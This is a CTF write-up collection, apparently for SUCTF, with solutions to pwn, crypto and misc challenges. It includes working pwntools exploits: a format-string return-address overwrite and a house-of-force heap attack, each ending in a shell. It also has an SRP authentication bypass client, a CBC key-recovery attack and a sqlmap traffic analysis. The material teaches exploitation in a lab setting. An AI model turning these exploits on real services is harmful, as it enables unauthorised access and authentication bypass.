0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
Seems working!
Now modify the return address.
#payload="%55928d%9$hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%55928d%9$hn%35$nn")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 --> 0x727070610000da78
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')
?? The return address is still the same,but content at `0x7fffffffdf44` has
been changed! It seems that when the snprintf process `%35$n`, it still uses
the old value `0x7fffffffdf44` but not the new value `0x7fffffffda78`.
So what do we do now? Well, you can read the source of glibc, or you can try
the following payload.
#payload="%c%c%c%c%c%c%c%55921d%hn%35$n", 55928=0xda78
[-------------------------------------code-------------------------------------]
=> 0x555555554a96: call 0x555555554838
0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
0x555555554aa2: call 0x555555554820
Guessed arguments:
arg[0]: 0x555555755060 --> 0x0
arg[1]: 0x100
arg[2]: 0x555555756010 ("%c%c%c%c%c%c%c%55921d%hn%35$nn")
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x8879fe5d03add800
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaaaacf3830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
......
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffdf44 ("./heapprint")
[-------------------------------------code-------------------------------------]
0x555555554a8a: lea rdi,[rip+0x2005cf] # 0x555555755060
0x555555554a91: mov eax,0x0
0x555555554a96: call 0x555555554838
=> 0x555555554a9b: lea rdi,[rip+0xb6] # 0x555555554b58
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda60 --> 0x0
0008| 0x7fffffffda68 --> 0x68a91f9995c84b00
0016| 0x7fffffffda70 --> 0x555555554ad0 (push r15)
0024| 0x7fffffffda78 --> 0x2aaa0000da78
0032| 0x7fffffffda80 --> 0x1
0040| 0x7fffffffda88 --> 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78
0240| 0x7fffffffdb50 --> 0x1
0248| 0x7fffffffdb58 --> 0x7fffffffda78 --> 0x2aaa0000da78
gdb-peda$ telescope 0x7fffffffdf44
0000| 0x7fffffffdf44 ("./heapprint")
0008| 0x7fffffffdf4c --> 0x4956594d00746e69 ('int')
Wow, we successfully changed the return value of main!!! It seems that when
snprintf processes the format with `$` and those without `$` independently. If
you want more details, RTFSC.
But we don’t know the address of libc, so if we want to change the return
address to be one gadget, we need to brute force 12 bit, plus 4 bit to guess
the stack ,we have to brute force 16 bits!
Luckily, we don’t need to. In format-string processing, we have a special
symbol `*`. What’s its usage? Ask google.
With all these combined, we can get shell by bruteforce 5 bits, which is
totally acceptable.
#### The Final Script
from pwn import *
remote_addr="pwn.suctf.asuri.org"
remote_port=20000
p=remote(remote_addr,remote_port)
offset=int(p.recvline().strip('n'))
offset=(offset<<8)+0x18
offset2=0xd0917
payload='%c'*7+'%'+str(offset-arg)+'d%hn'+'%c'*23+'%'+str(offset2-offset-23)+'d%*7$d%n'
p.sendline(payload)
p.interactive()
### Noend
This is a heap challenge. When I was playing the heap one day, I found that if
you malloc a extremely large size that ptmalloc can’t handle, it would alloc
and use another arena afterward. And this is where the challenge comes from.
#### Program info
Let’s take a look in the program
[*] '/home/ne0/Desktop/suctf/noend/noend'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
and the main logic of the program is
char* s;
char buf[0x20];
unsigned long long len;
Init();
while(1){
memset(buf,0,0x20);
read(0,buf,0x20-1);
len=strtoll(buf,NULL,10);
s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;
write(1,s,len&0xFFFF);
write(1,"n",1);
if(len<0x80)
free(s);
}
return 0;
You can endless alloc a chunk with arbitrary size, but after you write
something into it ,it gets freed if its size is less than 0x80. So most of the
heap pwning techniques don’t work here as you can have only one chunk
allocated.
#### Bug
Seems no bug at the first glance. But take a deeper look at the following
code.
s=(char*)malloc(len);
read(0,s,len);
s[len-1]=0;
It doesn’t check the status of malloc. If the malloc fails due to some reason,
`s[len-1]=0` is equal to `*(char*)(len-1)=0`, which means we can write a `x00`
to almost arbitrary address.
#### Exploit
The leak is easy, and I will skip that part.
Suppose now we have the address of libc `libc_base` and heap `heap_base`, what
do we do next?
The first idea that comes to me is `house of force` —- by partial overwrite a
`x00` to the top chunk ptr. But after we do that ,we find that the main arena
seems not working anymore..
Here’s a useful POC:
int main(){
printf("Before:n");
printf("%pn",malloc(0x40));
printf("Mallco failed:%pn",malloc(-1));
printf("After:n");
printf("%pn",malloc(0x40));
return 0;
}
Before:
0xee7420
Mallco failed:(nil)
After:
0x7fb7b00008c0
The pointer malloc returns is `0x7fb7b00008c0` ??!
You can read the source of glibc for more details. In a word, when you malloc
a size that the main arena can’t handle, malloc will try to use another arena.
And later allocations will all be handled by the arena. The insteresting part
is that, after you switch the arena, if you malloc a extremely big size again,
the arena will not change anymore! That means we can partial overwrite the top
chunk pointer of this arena and use `house of force`!
A little debugging after leak the address of another arena (in this case
`0x7f167c000020`)
Almost same as main arena
gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000
0008| 0x7f167c000028 --> 0x0
0016| 0x7f167c000030 --> 0x0
0024| 0x7f167c000038 --> 0x0
0032| 0x7f167c000040 --> 0x0
0040| 0x7f167c000048 --> 0x0
0048| 0x7f167c000050 --> 0x7f167c0008b0 --> 0x0
0056| 0x7f167c000058 --> 0x0
0064| 0x7f167c000060 --> 0x0
0072| 0x7f167c000068 --> 0x0
0080| 0x7f167c000070 --> 0x0
0088| 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0096| 0x7f167c000080 --> 0x0
0104| 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0112| 0x7f167c000090 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c000078 --> 0x7f167c000920 --> 0x0
..............
Write the top chunk pointer
gdb-peda$ telescope 0x7f167c000020 100
0000| 0x7f167c000020 --> 0x200000000
0008| 0x7f167c000028 --> 0x7f167c0008b0 --> 0x0
0016| 0x7f167c000030 --> 0x0
0024| 0x7f167c000038 --> 0x0
0032| 0x7f167c000040 --> 0x0
0040| 0x7f167c000048 --> 0x0
0048| 0x7f167c000050 --> 0x0
0056| 0x7f167c000058 --> 0x0
0064| 0x7f167c000060 --> 0x0
0072| 0x7f167c000068 --> 0x0
0080| 0x7f167c000070 --> 0x0
0088| 0x7f167c000078 --> 0x7f167c000a00 --> 0x7f168bfa729a
0096| 0x7f167c000080 --> 0x7f167c0008d0 --> 0x0
0104| 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
0112| 0x7f167c000090 --> 0x7f167c0008d0 --> 0x0
0120| 0x7f167c000098 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
0128| 0x7f167c0000a0 --> 0x7f167c000088 --> 0x7f167c0008d0 --> 0x0
....
gdb-peda$ telescope 0x7f167c000a00
0000| 0x7f167c000a00 --> 0x7f168bfa729a
0008| 0x7f167c000a08 --> 0x7f168bfa729a
0016| 0x7f167c000a10 --> 0x7f168bfa729a
0024| 0x7f167c000a18 --> 0x7f168bfa729a
You can see that instead of size `0xFFFFFFFFFFFFFFF`, I fake the size to be
`0x7f168bfa729a`. This is a little confusing? Actually I calculate the size as
`onegadget+(freehook_addr top_chunk_addr)`.
This means that if I `malloc(freehook_addr-top_chunk_addr)`, the size left
happens to be `onegadget` ,and it locates in the address of `freehook`!This is
really hackish. Trigger `free` and you can get the shell.
Of course you can also write `system` into `freehook`.Although actually you
can’t write exactly `system` but `system+1` into `freehook`, because the prev
inused bit of the top chunk is always set.But it won’t stop you from getting a
shell. Try it yourself!
#### Final Script
from pwn import *
pc='./noend'
libc=ELF('./libc.so.6')
p=process(pc,env={"LD_PRELOAD":'./libc.so.6'})
gdb.attach(p,'c')
#p=remote("pwn.suctf.asuri.org",20002)
def ru(a):
p.recvuntil(a)
def sa(a,b):
p.sendafter(a,b)
def sla(a,b):
p.sendlineafter(a,b)
def echo(size,content):
p.sendline(str(size))
sleep(0.3)
p.send(content)
k=p.recvline()
return k
def hack():
echo(0x38,'A'*8)
echo(0x28,'A'*8)
echo(0x48,'A'*8)
echo(0x7f,'A'*8)
k=echo(0x28,'A'*8)
libcaddr=u64(k[8:16])
libc.address=libcaddr-0x3c1b58
print("Libc base-->"+hex(libc.address))
p.sendline(str(libcaddr-1))
sleep(0.3)
echo(0x38,'A'*8)
p.clean()
echo(0x68,'A'*8)
echo(0x48,'A'*8)
echo(0x7f,'A'*8)
k=echo(0x68,'A'*8)
libcaddr=u64(k[8:16])
old=libcaddr
print("Another arena-->"+hex(old))
raw_input()
target=libc.address+0xf2519+0x10+1 # onegadget
libcaddr=libcaddr-0x78+0xa00
off=libc.symbols['__free_hook']-8-0x10-libcaddr
echo(0xf0,p64(off+target)*(0xf0/8))
p.sendline(str(old+1))
sleep(1)
p.sendline()
raw_input()
echo(off,'AAAA')
p.recvline()
p.clean()
echo(0x10,'/bin/shx00')
p.interactive()
hack()
It is a little pity that nobody solves the challenge `heapprint`. But what we
learned is what matters. So hope you guys enjoy the challenges I make. Feel
free to contact me if you have any question.
## Crypto
### Magic
本题依据原理为Hill密码。magic使用希尔密码对明文字符串加密，获得密文。加密的秘钥是一个有限域GF(2)中的矩阵M，设明文为向量p，则加密后得到的密文向量为c=Mp。出题过程依据的便是该公式。若已知c，若要求p，则在两边同时乘以M的逆矩阵M^(-1)，便得到p=M^(-1)
c。下面的解题代码中先从magic.txt文件中读取矩阵M，将其转换成0、1矩阵的形式，再利用SageMath求解M的逆矩阵（SageMath脚本略），之后乘以向量c得到明文向量。代码如下
def getCipher():
with open("cipher.txt") as f:
s = f.readline().strip()
s = int(s, 16)
return s
def getMagic():
magic = []
with open("magic.txt") as f:
while True:
line = f.readline()
if (line):
line = int(line, 16)
magic.append(line)
# print bin(line)[2:]
else:
break
return magic
def magic2Matrix(magic):
matrix = ""
for i in range(len(magic)):
t = magic[i]
row = ""
for j in range(len(magic)):
element = t & 1
row = ", " + str(element) + row
t = t >> 1
row = "[" + row[2:] + "]"
matrix = matrix + row + ",n"
matrix = "[" + matrix[:-1] + "]"
with open("matrix.txt", "w") as f:
f.write(matrix)
def prepare():
magic = getMagic()
magic2Matrix(magic)
cipher = getCipher()
cipherVector = ""
for i in range(len(magic)):
element = cipher & 1
cipherVector = ", " + str(element) + cipherVector
cipher = cipher >> 1
cipherVector = "[" + cipherVector[2:] + "]"
with open("cVector.txt", "w") as f:
f.write(cipherVector)
def trans2Flag():
#此处的向量v由SageMath计算得来
v = [0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1,
0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1,
0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1,
0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1,
0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0,
0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0,
0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0,
0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1,
0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1,
0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0,
0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1]
flag = 0
for i in range(len(v)):
flag = flag << 1
flag = flag ^ v[i]
flag = hex(flag)[2 : -1]
flag = flag.decode("hex")
print flag
if __name__ == "__main__":
prepare()#该步骤用于从magic中读取矩阵M，写入到matrix.txt中，之后到SageMath中计算
trans2Flag()#将明文向量转换成flag字符串
### Pass
本题依据的原理是SRP（Security Remote Password）的一个缺陷。SRP的基本原理如下，客户端计算SCarol = (B −
kgx)(a + ux) = (kv + gb − kgx)(a + ux) = (kgx − kgx + gb)(a + ux) = (gb)(a +
ux)；服务器端计算SSteve = (Avu)b = (gavu)b = [ga(gx)u]b = (ga + ux)b = (gb)(a +
ux)，之后分别计算S的Hash值K，计算K||salt的hash值h。双方最后通过验证h是否一致来实现password验证和身份认证，本质上是Diffie-Hellman秘钥交换的一种演变，都是利用离散对数计算复杂度高实现的密码机制。该缺陷在于若客户端将A强行设置为0或者N的整数倍，那么服务器端计算得到的S
SSteve
必为0，此时客户端再将本地的S强行设置为0，便可以得到与服务器端相同的S，进而得到相同的K和相同的h，进而通过服务器端的password验证。在本题的设计中，一旦通过服务器端验证，服务器会发送本题的flag。解题代码如下。
-*- coding: UTF-8 -*- # 文件名：client.py
#恶意攻击者，将A设置为0、N或者其他N的倍数，导致服务器端计算S时得到的值一定是0；攻击者进一步将自己的S值也设置为0，
import socket
import gmpy2 as gm
import hashlib
import agree
def main():
s = socket.socket()
s.connect(("game.suctf.asuri.org", 10002))
print "connecting..."
#计算a，向服务器端发送I和A，相当于发起认证请求
a = gm.mpz_rrandomb(agree.seed, 20)
A = gm.powmod(agree.g, a, agree.N)
A = 0 #此处为攻击第一步
print "A:", A
message = agree.I + "," + str(A).encode("base_64").replace("n", "") + "n"
s.send(message)
# 等待接收salt和B，salt稍后用于和password一起生成x，若client口令正确，则生成的x和服务器端的x一致
message = s.recv(1024)
print message
message = message.split(",")
salt = int(message[0].decode("base_64"))
B = int(message[1].decode("base_64"))
print "received salt and B"
print "salt:", salt
print "B:", B
# 此时服务器端和客户端都已掌握了A和B，利用A和B计算u
uH = hashlib.sha256(str(A) + str(B)).hexdigest()
u = int(uH, 16)
print "利用A、B计算得到u", u
# 开始计算通信秘钥K
# 利用自己的password和服务器端发来的salt计算x，如果passowrd与服务器端的一致，则计算出的x也是一致的
# xH = hashlib.sha256(str(salt) + agree.P).hexdigest()
wrongPassword = "test"
xH = hashlib.sha256(str(salt) + "wrong_password").hexdigest()
x = int(xH, 16)
print "x:", x
#客户端公式：S = (B - k * g**x)**(a + u * x) % N
#服务器端公式：S = (A * v**u) ** b % N
S = B - agree.k * gm.powmod(agree.g, x, agree.N)#此值应当与g**b一致
S = gm.powmod(S, (a + u*x), agree.N)
S = 0 #此处为攻击第二步
K = hashlib.sha256(str(S)).hexdigest()
print "K:", K
#最后一步，发送验证信息HMAC-SHA256(K, salt)，如果得到服务器验证，则会收到确认信息
hmac = hashlib.sha256(K + str(salt)).hexdigest() + "n"
s.send(hmac)
print "send:", hmac
print "receive:", s.recv(1024)
message = s.recv(1024)
print message
s.close()
if __name__ == "__main__":
main()
### Enjoy
本题依据原理为针对IV=Key的CBC模式选择密文攻击，前提是明文泄露。enjoy.py使用AES、CBC模式对明文加密后发送到服务器端，且将CBC模式的初始化向量IV设置为AES的秘钥，而秘钥正是flag。随意设置一秘钥加密明文发往服务器端，服务器很容易泄露对应明文。因此选择三个分组的密文C||0||C发往服务器获得泄露出的明文p_1
||p_2 ||p_3，因此根据CBC模式的加解密原理有：
IV⊕D(K,C)=p_1 （1）
0⊕D(K,C)=p_3 （2）
其中D为AES解密算法，两式做异或得：IV=p_1⊕p_3。
解题代码如下：
#coding: UTF-8
import socket
import flag
from Crypto.Cipher import AES
def padding(message):
toPadByte = 16 - len(message) % 16
paddedMessage = message + chr(toPadByte) * toPadByte
return paddedMessage
def encrypt(plain):
key = flag.flag[5:-1]
assert len(key) == 16
iv = key
plain = padding(plain)
aes = AES.new(key, AES.MODE_CBC, iv)
cipher = aes.encrypt(plain)
cipher = cipher.encode("base_64")
return cipher
def runTheClient(cipher):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "registry.asuri.org"
port = 10003
# plain = "blablabla_" + "I_enjoy_cryptography" + "_blablabla"
# cipher = encrypt(plain)message = s.recv(1024)
s.connect((host, port))
# message = s.recv(1024)
# print message
s.send(cipher)
message = s.recv(1024)
print message
s.close()
return message
def crack():
block = "A" * 16
cipher = block + "x00"*16 + block
cipher = cipher.encode("base_64") + "n"
message = runTheClient(cipher)
if "high ASCII" in message:
begin = message.find(":")
plain = message[begin+1:].strip().decode("base_64")
block1 = plain[:16]
block3 = plain[32:48]
key = ""
for i in range(16):
key = key + chr(ord(block1[i]) ^ ord(block3[i]))
print "key", key
if __name__ == "__main__":
crack()
### Rsa
求逆元而已
from Crypto.Random import random
import binascii
import hashlib
from binascii import *
def invmod(a, n):
t = 0
new_t = 1
r = n
new_r = a
while new_r != 0:
q = r // new_r
(t, new_t) = (new_t, t - q * new_t)
(r, new_r) = (new_r, r - q * new_r)
if r > 1:
raise Exception('unexpected')
if t < 0:
t += n
return t
def b2n(s):
return int.from_bytes(s, byteorder='big')
def n2b(k):
return k.to_bytes((k.bit_length() + 7) // 8, byteorder='big')
def debytes(n,d,cbytes):
c = b2n(cbytes)
m = pow(c, d, n)
return n2b(m)
if __name__ == '__main__':
n = 66149493853860125655150678752885836472715520549317267741824354889440460566691154181636718588153443015417215213251189974308428954171272424064509738848419271456903929717740317926997980290509229295248854525731680211522487069759263212622412183077554313970550489432550306334816699481767522615564029948983958568137620658877310430228751724173392407096452402130591891085563316308684064273945573863484366971922314948362237647033045688312629960213147916734376716527936706960022935808934003360529947191458592952573768999508441911956808173380895703456745350452416319736699139180410176783788574649448360069042777614429267146945551
e = 3
d = 44099662569240083770100452501923890981810347032878178494549569926293640377794102787757812392102295343611476808834126649538952636114181616043006492565612847637935953145160211951331986860339486196832569683821120141014991379839508808414941455385036209313700326288366870889877799654511681743709353299322639045424737161223404842883211346043467541833205836604553399746326181139106884008412679110817142624390168364685584282908134947826592906891361640349523847551416712367526240125746834000852838264832774661329773724115660989856782878284849614002221996848649738605272015463464761741155635215695838441165137785286974315511355
c2 = 44072159524363345025395860514193439618850855989758877019251604535424645173015578445641737155410124722089855034524900974899143590319109150794463017988146330700682402644722045151564192212786022295270147246354021288864468319458821200111865992881657865302651297307278194354152154089398262689939864900434490148230032752585607483545643297707980226837109082596681204037909705850077064452350740011904984407745294229799642805761872912116003683053767810208214723900549369485228083610800628462169538658223452866042552036179759904943895834603686937581017818440377415869062864539021787490351747089653244541577383430879642738738253
r = 45190871623538944093785281221851226180318696177837272787303375892782101654769663373321786970252485047721399081424329576744995348535617043929235745038926187396763459008615146009836751084746961130136655078581684659910694290564871708049474081354336784708387445467688447764440168942335060081663025621606012816840929949463114413777617148271738737393997848713788551935944366549647216153686444107844148988979274170780431747264142309111561515570105997844879370642204474047548042439569602410985090283342829596708258426959209412220871489848753600755629841006861740913336549583365243419009944724130194890707627810912114268824770
cipher2 = n2b(c2)
plaintext3 = debytes(n,d,cipher2)
print (plaintext3)
p3 = b2n(plaintext3)
p4 = (p3 * invmod(r, n)) % n
plaintext4 = n2b(p4)
print (plaintext4)
### Rsa good
CCA Attack
已知 pow(flag, e, n)，解密 pow(flag, e, n) _pow(2, e, n) % n，获得 pow(2_ flag, e, n)
的明文 2 * flag 即可
这题脚本有问题，每次交互的n都是一样的，而且最重要的是n有问题，能被分解，p还是个7 emmmmm。。。。。。。
## Misc
### game
Game
此题依据原理为中国剩余定理，解题代码如下。
import gmpy2 as gm
def crack():
holes = [257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373]
remains = []
with open("sand.txt") as f:
line = f.readline().strip()
while line:
remains.append(int(line))
line = f.readline().strip()
M = gm.mpz(1)
for hole in holes:
M = M * hole
m = []
m_inv = []
for i in range(len(holes)):
m.append(M / holes[i])
m_inv.append(gm.invert(m[i], holes[i]))
re = gm.mpz(0)
for i in range(len(holes)):
re = re + m[i] * m_inv[i] * remains[i]
re = gm.f_mod(re, M)
print "flag{" + hex(re)[2:].decode("hex") + "}"
if __name__ == "__main__":
crack()
### Cycle
本题依据原理为Vernam密码。cycle.py通过循环使用秘钥字符串（flag）对明文进行异或操作，得到密文。该种加密方式类似于Vernam密码。cycle.py中已经告知秘钥字符串长度不超过50，且明文为英文，那么通过遍历秘钥长度，在不同秘钥长度下分别遍历单个字节的秘钥，通过统计明文中出现的英文字符出现情况即可发现最佳秘钥长度和最佳秘钥。例如，若秘钥长度为L，则先分别取密文第0,L-1,2L-1,…个字符，遍历256单字节秘钥，取明文最可能是英文的那个秘钥；然后取密文1,L,2L,…个字符，以同样方式获得秘钥第二个字节。按此方法，破解长度为L的复杂度为256L，而将L遍历1到n=50的总复杂度为O(n^2)。破解代码如下。
# --encoding=utf-8
def scoreChar(str):
chars = "abcdefghijklmnopqrstuvwxyz"
chars += chars.upper()
chars += " n,."
count = 0
for i in range(len(str)):
if str[i] in chars:
count += 1
return count
def decrypt(c, key):
m = ""
for i in range(len(c)):
byte = ord(c[i])
byte = byte ^ key
m = m + chr(byte)
return m
def crack(cs):
re = {}
# print "cracking ", cs.encode("hex")
bestS = ""
bestScore = -100000000
bestKey = ''
for key in range(0x100):
s = decrypt(cs, key)#cs为字节数组
score = scoreChar(s)
if (score > bestScore):
bestS = s
bestScore = score
bestKey = chr(key)
return [bestS, bestKey, bestScore]
def getCipherBytesFromFile(file):
cipherText = ""
with open(file) as f:
line = f.readline().strip()
while(len(line) > 1):
cipherText += line
line = f.readline().strip()
cipherText = cipherText.decode("base_64")
return cipherText
def crackKeyWithSize(keySize, cipherText):
cs = [""] * keySize
ms = [""] * keySize
key = ""
totalScore = 0;
for i in range(len(cipherText)):
cs[i % keySize] += cipherText[i]
for i in range(keySize):
[ms[i], k, score] = crack(cs[i])
totalScore += score
key += k
m = ""
for i in range(0, len(cipherText)):
m += ms[i % keySize][i / keySize]
return [m, key, totalScore]
def decryptWithKey(key):
cipherText = getCipherBytesFromFile("data6")
m = ""
keyBytes = []
for i in range(len(key)):
keyBytes.append(ord(key[i]))
for i in range(len(cipherText)):
byte = ord(cipherText[i]) ^ keyBytes[i % len(key)]
m += chr(byte)
return m
def main():
cipherText = getCipherBytesFromFile("cipher.txt")
bestScore = -10000
bestKey = bestM = ""
for size in range(1, 50):
[m, key, score] = crackKeyWithSize(size, cipherText)
if score > bestScore:
bestScore = score
bestKey = key
bestM = m
print bestKey
print bestScore
print bestM
if __name__ == "__main__":
main()
### TNT
#### step 1
1.流量分析,发现全是`SQLMAP`的流量,注入方式为时间盲注。首先写代码把所有的请求URL提取出来(或者用`wireshark`打开`pcpa`文件-导出分组解析结果-为`csv`)
#### step 2
Sqlmap在时间盲注时,最后会使用`!=`确认这个值,所以可以提取出所有带有`!=`的URL,提取出后面的ascii码,使用chr(数字)将其转换为字符
#### step 3
打印出来,会发现一串`BASE64`,`BASE64`有点奇怪,反复分析,发现没有大写`X`,多了符号`.`,当然是把点替换成`X`啦.解码,保存为文件(可以使用`Python`,记得写入的时候使用`open(file,'wb')`
二进制写入模式。)
#### step 4
文件头为`BZ`,应该是个`bzip`文件,把扩展名改成`bz2`,winrar解压(或者直接在linux下用bunzip2解压).`file1`文件头为`xz`的文件头,使用`xz`解压,里面又是一个`gz`格式的`file1`,再解压一次,得到`33.333`文件,文件尾部有`Pk`字样,说明是`zip`,二进制编辑器改文件头为`zip`文件头,解压.改文件头为`rar`,解压得到flag.
import urllib
import sys
import re
import base64
f=open('''exm1.pcap''','rb').read()
pattern=re.compile('''GET /vulnerabilities/sqli_blind/.+HTTP/1.1''')
lines=pattern.findall(f)
a=0
for line in lines:
raw_line=urllib.unquote(line)
i=raw_line.find("!=")
if i>0:
a=0
asc=raw_line[i+2:]
asc=asc[:asc.find(')')]
sys.stdout.write(chr(int(asc)))
else:
a+=1
if a>10:
sys.stdout.write('n')
a=0
str='QlpoOTFBWSZTWRCesQgAAKZ///3ry/u5q9q1yYom/PfvRr7v2txL3N2uWv/aqTf7ep/usAD7MY6NHpAZAAGhoMjJo0GjIyaGgDTIyGajTI0HqAAGTQZGTBDaTagbUNppkIEGQaZGjIGmgMgMjIyAaAPU9RpoMjAjBMEMho0NMAjQ00eo9QZNGENDI0zUKqflEbU0YhoADQDAgAaaGmmgwgMTE0AGgAyNMgDIGmTQA0aNGg0HtQQQSBQSMMfFihJBAKBinB4QdSNniv9nVzZlKSQKwidKifheV8cQzLBQswEuxxW9HpngiatmLK6IRSgvQZhuuNgAu/TaDa5khJv09sIVeJ/mhAFZbQW9FDkCFh0U2EI5aodd1J3WTCQrdHarQ/Nx51JAx1b/A9rucDTtN7Nnn8zPfiBdniE1UAzIZn0L1L90ATgJjogOUtiR77tVC3EVA1LJ0Ng2skZVCAt+Sv17EiHQMFt6u8cKsfMu/JaFFRtwudUYYo9OHGLvLxgN/Sr/bhQITPglJ9MvCIqIJS0/BBxpz3gxI2bArd8gnF+IbeQQM3c1.M+FZ+E64l1ccYFRa26TC6uGQ0HnstY5/yc+nAP8Rfsim4xoEiNEEZclCsLAILkjnz6BjVshxBdyRThQkBCesQg='.replace('.','X')
print ''
print str
fw=open('file1.bz2','wb')
fw.write(base64.b64decode(str))
fw.close()
### Game
出题人前一段时间沉迷ACM无法自拔，觉得博弈论实在是太有意思了，又觉得作为一名优秀的选手，掌握这些优秀的算法是非常基础的（x，于是就出了这个题。
用到的三个博弈分别为`Bash game`, `Wythoff game` 和 `Nim game`。具体的推导和结论么，都给你名字了还不去查维基百科（x
解题脚本：
from pwn import *
import math
import hashlib
import string
p = remote('game.suctf.asuri.org', 10000)
p.recvuntil('Prove your heart!n')
def proof(key, h):
c = string.letters+string.digits
for x0 in c:
for x1 in c:
for x2 in c:
for x3 in c:
if (hashlib.sha256(key + x0 + x1 + x2 + x3).hexdigest() == h):
return x0 + x1 + x2 + x3
p.recvuntil('sha256(')
key = p.recv(12)
